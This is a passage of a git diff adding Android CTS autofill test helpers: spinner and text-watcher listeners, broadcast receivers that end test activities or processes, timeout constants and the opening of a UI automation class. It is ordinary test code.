+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.view.View;
+import android.widget.AdapterView;
+import android.widget.AdapterView.OnItemSelectedListener;
+import android.widget.Spinner;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link OnItemSelectedListener} used to assert an {@link Spinner} was auto-filled properly.
+ */
+public final class OneTimeSpinnerListener implements OnItemSelectedListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final Spinner spinner;
+    private final int expected;
+
+    public OneTimeSpinnerListener(String name, Spinner spinner, int expectedAutoFilledValue) {
+        this.name = name;
+        this.spinner = spinner;
+        this.expected = expectedAutoFilledValue;
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on Spinner %s", FILL_TIMEOUT.ms(), name)
+            .that(set).isTrue();
+        final int actual = spinner.getSelectedItemPosition();
+        assertWithMessage("Wrong auto-fill value on Spinner %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+
+    @Override
+    public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
+        latch.countDown();
+    }
+
+    @Override
+    public void onNothingSelected(AdapterView<?> parent) {
+        latch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeTextWatcher.java
new file mode 100644
index 0000000..35fdf49
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeTextWatcher.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import android.text.TextWatcher;
+import android.widget.EditText;
+
+/**
+ * Custom {@link TextWatcher} used to assert a {@link EditText} was auto-filled properly.
+ */
+public final class OneTimeTextWatcher extends MultipleTimesTextWatcher {
+
+    public OneTimeTextWatcher(String name, EditText editText, CharSequence expectedAutofillValue) {
+        super(name, 1, editText, expectedAutofillValue);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OutOfProcessLoginActivityFinisherReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OutOfProcessLoginActivityFinisherReceiver.java
new file mode 100644
index 0000000..09db20d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OutOfProcessLoginActivityFinisherReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.autofillservice.cts.activities.OutOfProcessLoginActivity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that finishes {@link OutOfProcessLoginActivity}.
+ */
+public class OutOfProcessLoginActivityFinisherReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "OutOfProcessLoginActivityFinisherReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Goodbye, unfinished business!");
+        OutOfProcessLoginActivity.finishIt();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/SelfDestructReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/SelfDestructReceiver.java
new file mode 100644
index 0000000..ba99654
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/SelfDestructReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Process;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that kills its process.
+ */
+public class SelfDestructReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "SelfDestructReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Goodbye, cruel world!");
+        Process.killProcess(Process.myPid());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Timeouts.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Timeouts.java
new file mode 100644
index 0000000..7d4e140
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Timeouts.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import com.android.compatibility.common.util.Timeout;
+
+/**
+ * Timeouts for common tasks.
+ */
+public final class Timeouts {
+
+    private static final long ONE_TIMEOUT_TO_RULE_THEN_ALL_MS = 20_000;
+    private static final long ONE_NAPTIME_TO_RULE_THEN_ALL_MS = 2_000;
+
+    public static final long MOCK_IME_TIMEOUT_MS = 5_000;
+    public static final long DRAWABLE_TIMEOUT_MS = 5_000;
+
+    public static final long LONG_PRESS_MS = 3000;
+    public static final long RESPONSE_DELAY_MS = 1000;
+
+    /**
+     * Timeout until framework binds / unbinds from service.
+     */
+    public static final Timeout CONNECTION_TIMEOUT = new Timeout("CONNECTION_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for {@link MyAutofillCallback#assertNotCalled()} - test will sleep for that amount of
+     * time as there is no callback that be received to assert it's not shown.
+     */
+    public static final long CALLBACK_NOT_CALLED_TIMEOUT_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout until framework unbinds from a service.
+     */
+    // TODO: must be higher than RemoteFillService.TIMEOUT_IDLE_BIND_MILLIS, so we should use a
+    // @hidden @Testing constants instead...
+    public static final Timeout IDLE_UNBIND_TIMEOUT = new Timeout("IDLE_UNBIND_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout to get the expected number of fill events.
+     */
+    public static final Timeout FILL_EVENTS_TIMEOUT = new Timeout("FILL_EVENTS_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for expected autofill requests.
+     */
+    public static final Timeout FILL_TIMEOUT = new Timeout("FILL_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for expected save requests.
+     */
+    public static final Timeout SAVE_TIMEOUT = new Timeout("SAVE_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout used when save is not expected to be shown - test will sleep for that amount of time
+     * as there is no callback that be received to assert it's not shown.
+     */
+    public static final long SAVE_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout for UI operations. Typically used by {@link UiBot}.
+     */
+    public static final Timeout UI_TIMEOUT = new Timeout("UI_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for a11y window change events.
+     */
+    public static final long WINDOW_CHANGE_TIMEOUT_MS = ONE_TIMEOUT_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout used when an a11y window change events is not expected to be generated - test will
+     * sleep for that amount of time as there is no callback that be received to assert it's not
+     * shown.
+     */
+    public static final long WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS =
+            ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout for webview operations. Typically used by {@link UiBot}.
+     */
+    // TODO(b/80317628): switch back to ONE_TIMEOUT_TO_RULE_THEN_ALL_MS once fixed...
+    public static final Timeout WEBVIEW_TIMEOUT = new Timeout("WEBVIEW_TIMEOUT", 3_000, 2F, 5_000);
+
+    /**
+     * Timeout for showing the autofill dataset picker UI.
+     *
+     * <p>The value is usually higher than {@link #UI_TIMEOUT} because the performance of the
+     * dataset picker UI can be affect by external factors in some low-level devices.
+     *
+     * <p>Typically used by {@link UiBot}.
+     */
+    public static final Timeout UI_DATASET_PICKER_TIMEOUT = new Timeout("UI_DATASET_PICKER_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout used when the dataset picker is not expected to be shown - test will sleep for that
+     * amount of time as there is no callback that be received to assert it's not shown.
+     */
+    public static final long DATASET_PICKER_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    /**
+     * Timeout (in milliseconds) for an activity to be brought out to top.
+     */
+    public static final Timeout ACTIVITY_RESURRECTION = new Timeout("ACTIVITY_RESURRECTION",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout for changing the screen orientation.
+     */
+    public static final Timeout UI_SCREEN_ORIENTATION_TIMEOUT = new Timeout(
+            "UI_SCREEN_ORIENTATION_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F,
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    private Timeouts() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
new file mode 100644
index 0000000..bfd6b0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
@@ -0,0 +1,1265 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.DATASET_PICKER_NOT_SHOWN_NAPTIME_MS;
+import static android.autofillservice.cts.testcore.Timeouts.LONG_PRESS_MS;
+import static android.autofillservice.cts.testcore.Timeouts.SAVE_NOT_SHOWN_NAPTIME_MS;
+import static android.autofillservice.cts.testcore.Timeouts.SAVE_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.UI_DATASET_PICKER_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.UI_SCREEN_ORIENTATION_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.UI_TIMEOUT;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.SystemClock;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Direction;
+import android.support.test.uiautomator.SearchCondition;
+import android.support.test.uiautomator.StaleObjectException;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
+import android.support.test.uiautomator.Until;
+import android.text.Html;
+import android.text.Spanned;
+import android.text.style.URLSpan;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowInsets;
+import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.Timeout;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Helper for UI-related needs.
+ */
+public class UiBot {
+
+    private static final String TAG = "AutoFillCtsUiBot";
+
+    private static final String RESOURCE_ID_DATASET_PICKER = "autofill_dataset_picker";
+    private static final String RESOURCE_ID_DATASET_HEADER = "autofill_dataset_header";
+    private static final String RESOURCE_ID_SAVE_SNACKBAR = "autofill_save";
+    private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
+    private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
+    private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
+    private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
+    private static final String RESOURCE_ID_SAVE_BUTTON_YES = "autofill_save_yes";
+    private static final String RESOURCE_ID_OVERFLOW = "overflow";
+
+    private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
+    private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
+            "autofill_save_title_with_type";
+    private static final String RESOURCE_STRING_SAVE_TYPE_PASSWORD = "autofill_save_type_password";
+    private static final String RESOURCE_STRING_SAVE_TYPE_ADDRESS = "autofill_save_type_address";
+    private static final String RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD =
+            "autofill_save_type_credit_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
+    private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
+            "autofill_save_type_email_address";
+    private static final String RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD =
+            "autofill_save_type_debit_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD =
+            "autofill_save_type_payment_card";
+    private static final String RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD =
+            "autofill_save_type_generic_card";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NEVER = "autofill_save_never";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "autofill_save_notnow";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_YES = "autofill_save_yes";
+    private static final String RESOURCE_STRING_UPDATE_BUTTON_YES = "autofill_update_yes";
+    private static final String RESOURCE_STRING_CONTINUE_BUTTON_YES = "autofill_continue_yes";
+    private static final String RESOURCE_STRING_UPDATE_TITLE = "autofill_update_title";
+    private static final String RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE =
+            "autofill_update_title_with_type";
+
+    private static final String RESOURCE_STRING_AUTOFILL = "autofill";
+    private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
+            "autofill_picker_accessibility_title";
+    private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
+            "autofill_save_accessibility_title";
+
+
+    static final BySelector DATASET_PICKER_SELECTOR = By.res("android", RESOURCE_ID_DATASET_PICKER);
+    private static final BySelector SAVE_UI_SELECTOR = By.res("android", RESOURCE_ID_SAVE_SNACKBAR);
+    private static final BySelector DATASET_HEADER_SELECTOR =
+            By.res("android", RESOURCE_ID_DATASET_HEADER);
+
+    // TODO: figure out a more reliable solution that does not depend on SystemUI resources.
+    private static final String SPLIT_WINDOW_DIVIDER_ID =
+            "com.android.systemui:id/docked_divider_background";
+
+    private static final boolean DUMP_ON_ERROR = true;
+
+    private static final int MAX_UIOBJECT_RETRY_COUNT = 3;
+
+    /** Pass to {@link #setScreenOrientation(int)} to change the display to portrait mode */
+    public static int PORTRAIT = 0;
+
+    /** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
+    public static int LANDSCAPE = 1;
+
+    private final UiDevice mDevice;
+    private final Context mContext;
+    private final String mPackageName;
+    private final UiAutomation mAutoman;
+    private final Timeout mDefaultTimeout;
+
+    private boolean mOkToCallAssertNoDatasets;
+
+    public UiBot() {
+        this(UI_TIMEOUT);
+    }
+
+    public UiBot(Timeout defaultTimeout) {
+        mDefaultTimeout = defaultTimeout;
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        mDevice = UiDevice.getInstance(instrumentation);
+        mContext = instrumentation.getContext();
+        mPackageName = mContext.getPackageName();
+        mAutoman = instrumentation.getUiAutomation();
+    }
+
+    public void waitForIdle() {
+        final long before = SystemClock.elapsedRealtimeNanos();
+        mDevice.waitForIdle();
+        final float delta = ((float) (SystemClock.elapsedRealtimeNanos() - before)) / 1_000_000;
+        Log.v(TAG, "device idle in " + delta + "ms");
+    }
+
+    public void waitForIdleSync() {
+        final long before = SystemClock.elapsedRealtimeNanos();
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        final float delta = ((float) (SystemClock.elapsedRealtimeNanos() - before)) / 1_000_000;
+        Log.v(TAG, "device idle sync in " + delta + "ms");
+    }
+
+    public void reset() {
+        mOkToCallAssertNoDatasets = false;
+    }
+
+    /**
+     * Assumes the device has a minimum height and width of {@code minSize}, throwing a
+     * {@code AssumptionViolatedException} if it doesn't (so the test is skiped by the JUnit
+     * Runner).
+     */
+    public void assumeMinimumResolution(int minSize) {
+        final int width = mDevice.getDisplayWidth();
+        final int heigth = mDevice.getDisplayHeight();
+        final int min = Math.min(width, heigth);
+        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= minSize);
+        Log.d(TAG, "assumeMinimumResolution(" + minSize + ") passed: screen size is "
+                + width + "x" + heigth);
+    }
+
+    /**
+     * Sets the screen resolution in a way that the IME doesn't interfere with the Autofill UI
+     * when the device is rotated to landscape.
+     *
+     * When called, test must call <p>{@link #resetScreenResolution()} in a {@code finally} block.
+     *
+     * @deprecated this method should not be necessarily anymore as we're using a MockIme.
+     */
+    @Deprecated
+    // TODO: remove once we're sure no more OEM is getting failure due to screen size
+    public void setScreenResolution() {
+        if (true) {
+            Log.w(TAG, "setScreenResolution(): ignored");
+            return;
+        }
+        assumeMinimumResolution(500);
+
+        runShellCommand("wm size 1080x1920");
+        runShellCommand("wm density 320");
+    }
+
+    /**
+     * Resets the screen resolution.
+     *
+     * <p>Should always be called after {@link #setScreenResolution()}.
+     *
+     * @deprecated this method should not be necessarily anymore as we're using a MockIme.
+     */
+    @Deprecated
+    // TODO: remove once we're sure no more OEM is getting failure due to screen size
+    public void resetScreenResolution() {
+        if (true) {
+            Log.w(TAG, "resetScreenResolution(): ignored");
+            return;
+        }
+        runShellCommand("wm density reset");
+        runShellCommand("wm size reset");
+    }
+
+    /**
+     * Asserts the dataset picker is not shown anymore.
+     *
+     * @throws IllegalStateException if called *before* an assertion was made to make sure the
+     * dataset picker is shown - if that's not the case, call
+     * {@link #assertNoDatasetsEver()} instead.
+     */
+    public void assertNoDatasets() throws Exception {
+        if (!mOkToCallAssertNoDatasets) {
+            throw new IllegalStateException(
+                    "Cannot call assertNoDatasets() without calling assertDatasets first");
+        }
+        mDevice.wait(Until.gone(DATASET_PICKER_SELECTOR), UI_DATASET_PICKER_TIMEOUT.ms());
+        mOkToCallAssertNoDatasets = false;
+    }
+
+    /**
+     * Asserts the dataset picker was never shown.
+     *
+     * <p>This method is slower than {@link #assertNoDatasets()} and should only be called in the
+     * cases where the dataset picker was not previous shown.
+     */
+    public void assertNoDatasetsEver() throws Exception {
+        assertNeverShown("dataset picker", DATASET_PICKER_SELECTOR,
+                DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains exactly the given datasets.
+     *
+     * @return the dataset picker object.
+     */
+    public UiObject2 assertDatasets(String...names) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        return assertDatasets(picker, names);
+    }
+
+    protected UiObject2 assertDatasets(UiObject2 picker, String...names) {
+        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
+                .containsExactlyElementsIn(Arrays.asList(names)).inOrder();
+        return picker;
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains the given datasets.
+     *
+     * @return the dataset picker object.
+     */
+    public UiObject2 assertDatasetsContains(String...names) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
+                .containsAtLeastElementsIn(Arrays.asList(names)).inOrder();
+        return picker;
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains the given datasets, header, and footer.
+     * <p>In fullscreen, header view is not under R.id.autofill_dataset_picker.
+     *
+     * @return the dataset picker object.
+     */
+    public UiObject2 assertDatasetsWithBorders(String header, String footer, String...names)
+            throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        final List<String> expectedChild = new ArrayList<>();
+        if (header != null) {
+            if (Helper.isAutofillWindowFullScreen(mContext)) {
+                final UiObject2 headerView = waitForObject(DATASET_HEADER_SELECTOR,
+                        UI_DATASET_PICKER_TIMEOUT);
+                assertWithMessage("fullscreen wrong dataset header")
+                        .that(getChildrenAsText(headerView))
+                        .containsExactlyElementsIn(Arrays.asList(header)).inOrder();
+            } else {
+                expectedChild.add(header);
+            }
+        }
+        expectedChild.addAll(Arrays.asList(names));
+        if (footer != null) {
+            expectedChild.add(footer);
+        }
+        assertWithMessage("wrong elements on dataset picker").that(getChildrenAsText(picker))
+                .containsExactlyElementsIn(expectedChild).inOrder();
+        return picker;
+    }
+
+    /**
+     * Gets the text of this object children.
+     */
+    public List<String> getChildrenAsText(UiObject2 object) {
+        final List<String> list = new ArrayList<>();
+        getChildrenAsText(object, list);
+        return list;
+    }
+
+    private static void getChildrenAsText(UiObject2 object, List<String> children) {
+        final String text = object.getText();
+        if (text != null) {
+            children.add(text);
+        }
+        for (UiObject2 child : object.getChildren()) {
+            getChildrenAsText(child, children);
+        }
+    }
+
+    /**
+     * Selects a dataset that should be visible in the floating UI and does not need to wait for
+     * application become idle.
+     */
+    public void selectDataset(String name) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        selectDataset(picker, name);
+    }
+
+    /**
+     * Selects a dataset that should be visible in the floating UI and waits for application become
+     * idle if needed.
+     */
+    public void selectDatasetSync(String name) throws Exception {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
+        selectDataset(picker, name);
+        mDevice.waitForIdle();
+    }
+
+    /**
+     * Selects a dataset that should be visible in the floating UI.
+     */
+    public void selectDataset(UiObject2 picker, String name) {
+        final UiObject2 dataset = picker.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(picker));
+        }
+        dataset.click();
+    }
+
+    /**
+     * Finds the suggestion by name and perform long click on suggestion to trigger attribution
+     * intent.
+     */
+    public void longPressSuggestion(String name) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Asserts the suggestion chooser is shown in the suggestion view.
+     */
+    public void assertSuggestion(String name) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Asserts the suggestion chooser is not shown in the suggestion view.
+     */
+    public void assertNoSuggestion(String name) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Scrolls the suggestion view.
+     *
+     * @param direction The direction to scroll.
+     * @param speed The speed to scroll per second.
+     */
+    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    /**
+     * Selects a view by text.
+     *
+     * <p><b>NOTE:</b> when selecting an option in dataset picker is shown, prefer
+     * {@link #selectDataset(String)}.
+     */
+    public void selectByText(String name) throws Exception {
+        Log.v(TAG, "selectByText(): " + name);
+
+        final UiObject2 object = waitForObject(By.text(name));
+        object.click();
+    }
+
+    /**
+     * Asserts a text is shown.
+     *
+     * <p><b>NOTE:</b> when asserting the dataset picker is shown, prefer
+     * {@link #assertDatasets(String...)}.
+     */
+    public UiObject2 assertShownByText(String text) throws Exception {
+        return assertShownByText(text, mDefaultTimeout);
+    }
+
+    public UiObject2 assertShownByText(String text, Timeout timeout) throws Exception {
+        final UiObject2 object = waitForObject(By.text(text), timeout);
+        assertWithMessage("No node with text '%s'", text).that(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Finds a node by text, without waiting for it to be shown (but failing if it isn't).
+     */
+    @NonNull
+    public UiObject2 findRightAwayByText(@NonNull String text) throws Exception {
+        final UiObject2 object = mDevice.findObject(By.text(text));
+        assertWithMessage("no UIObject for text '%s'", text).that(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Asserts that the text is not showing for sure in the screen "as is", i.e., without waiting
+     * for it.
+     *
+     * <p>Typically called after another assertion that waits for a condition to be shown.
+     */
+    public void assertNotShowingForSure(String text) throws Exception {
+        final UiObject2 object = mDevice.findObject(By.text(text));
+        assertWithMessage("Found node with text '%s'", text).that(object).isNull();
+    }
+
+    /**
+     * Asserts a node with the given content description is shown.
+     *
+     */
+    public UiObject2 assertShownByContentDescription(String contentDescription) throws Exception {
+        final UiObject2 object = waitForObject(By.desc(contentDescription));
+        assertWithMessage("No node with content description '%s'", contentDescription).that(object)
+                .isNotNull();
+        return object;
+    }
+
+    /**
+     * Checks if a View with a certain text exists.
+     */
+    public boolean hasViewWithText(String name) {
+        Log.v(TAG, "hasViewWithText(): " + name);
+
+        return mDevice.findObject(By.text(name)) != null;
+    }
+
+    /**
+     * Selects a view by id.
+     */
+    public UiObject2 selectByRelativeId(String id) throws Exception {
+        Log.v(TAG, "selectByRelativeId(): " + id);
+        UiObject2 object = waitForObject(By.res(mPackageName, id));
+        object.click();
+        return object;
+    }
+
+    /**
+     * Asserts the id is shown on the screen.
+     */
+    public UiObject2 assertShownById(String id) throws Exception {
+        final UiObject2 object = waitForObject(By.res(id));
+        assertThat(object).isNotNull();
+        return object;
+    }
+
+    /**
+     * Asserts the id is shown on the screen, using a resource id from the test package.
+     */
+    public UiObject2 assertShownByRelativeId(String id) throws Exception {
+        return assertShownByRelativeId(id, mDefaultTimeout);
+    }
+
+    public UiObject2 assertShownByRelativeId(String id, Timeout timeout) throws Exception {
+        final UiObject2 obj = waitForObject(By.res(mPackageName, id), timeout);
